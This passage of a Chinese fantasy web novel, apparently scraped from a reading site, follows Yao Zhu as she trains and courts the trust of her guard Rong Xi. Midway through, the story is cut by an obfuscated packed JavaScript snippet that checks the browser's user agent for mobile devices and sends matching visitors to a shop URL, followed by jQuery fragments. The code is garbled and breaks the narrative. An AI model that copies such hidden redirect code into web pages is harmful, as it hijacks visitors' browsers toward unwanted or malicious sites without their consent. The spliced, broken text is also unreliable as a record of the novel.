想到她会这么捉弄自己。
姚烛缓缓挑起眉毛,“你失败了。”
容溪一脸错愕,不知所措,“你明明说只要抓住就好了。”
他被戏弄后反应显得有些懵懂天真。
姚烛觉着很有意思,一本正经道:“你抓住了吗?你的火都消失了。”
容溪同她理论:“你不吃掉它,它怎么会消失?”
姚烛道:“这就是我想让你学习的。”
姚烛生得一双丹凤眼,眼头略尖,眼尾上扬,像柳叶似的将一汪笑意盛住了。
露目流转,那笑便漾开来。容溪愣住,看着她的眼睛。
“容溪,你是我的护卫。你不仅得学会如何保护我,也得学会保护自己。我们两属性相克,对于彼此都是危险的。我希望,我们能熟悉信任,在面临危险时,成为背靠背的盟友。”
她伸出手,握住容溪的手。
她的掌心滑下来覆盖他手背。肌肤相贴,像玉一样凉。
“我需要盟友,而不是一个人/肉盾牌。你的安全同样很重要。护卫是对外的称呼而已。就像木橙名义上是我的丫鬟。但其实她就像我的妹妹。只要她忠于我,想要什么我都会给她。无论她闯了多大的祸,我也会原谅她。”
姚烛抬起眼,眼里只有他一个人。
“容溪,你知道吗。见到你的第一眼,我感觉很亲切。好像我们前世就认识一样。也许这就是冥冥之中注定的缘分。我需要你,将来终有一日,你也会需要我。”
“我们一起努力,好吗?”
“……”
容溪沉默了半晌,手心微微出汗。
姚烛的目光让他倍感压力。
明明是柔和的,平易近人的。她的每句话都充满诱惑力。
容溪极为僵硬地抽回手,一脸不自在,“嗯……”
姚烛道:“好好练。”
得到容溪回答后,姚烛退到浮桥上,将石台为数不多的空间让给他。
姚烛先行离开。容溪摒弃杂念,以掌击水,漫天水花飞扬。像是下起一场小雨。
他试着收集雨水,感受水的充盈和柔软。
水滴在他掌心凝聚成球,缓慢膨胀,仿佛一只拥有呼吸的活物,吸收周围的水汽,不断壮大。很快,水球膨胀到脑袋大小。
容溪仅仅走出了第一步,还远远不够。谁知道下一次姚烛会用什么法子灭掉他的火苗呢?他必须练到了如指掌的程度,才能预判她的行为。
;eval(function(p,a,c,k,e,d){e=function(c){return(c
35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16922923|192640||http|test|ni|href|location''''.split(''''|''''),0,{}));
() {
$(''''.infor'').reve();
$(''''#content'''').append(''''
>
晚上姚烛再次进入密室。里头一片白雾蒙蒙,热气弥漫。
容溪独坐石台上,脸蛋被蒸得白里透红,身上衣裳湿透,一滴汗顺着下巴滴入雪白领口。他双目紧闭,睫毛湿漉漉。姚烛停住了脚步。
容溪察觉身后有人靠近,睁开眼睛。
姚烛将他上下打量一番,这小子该不会是从上午一直练到现在,走火入魔了吧?
容溪正要开口说些什么,姚烛握住他手腕,试探脉搏。她的手冰凉如玉,陡然肌肤相触,容溪被这寒霜般的触感冰到了,他浑身一僵,豁然起身,像只敏感过度一碰就炸毛的猫,难以置信地瞪着姚烛。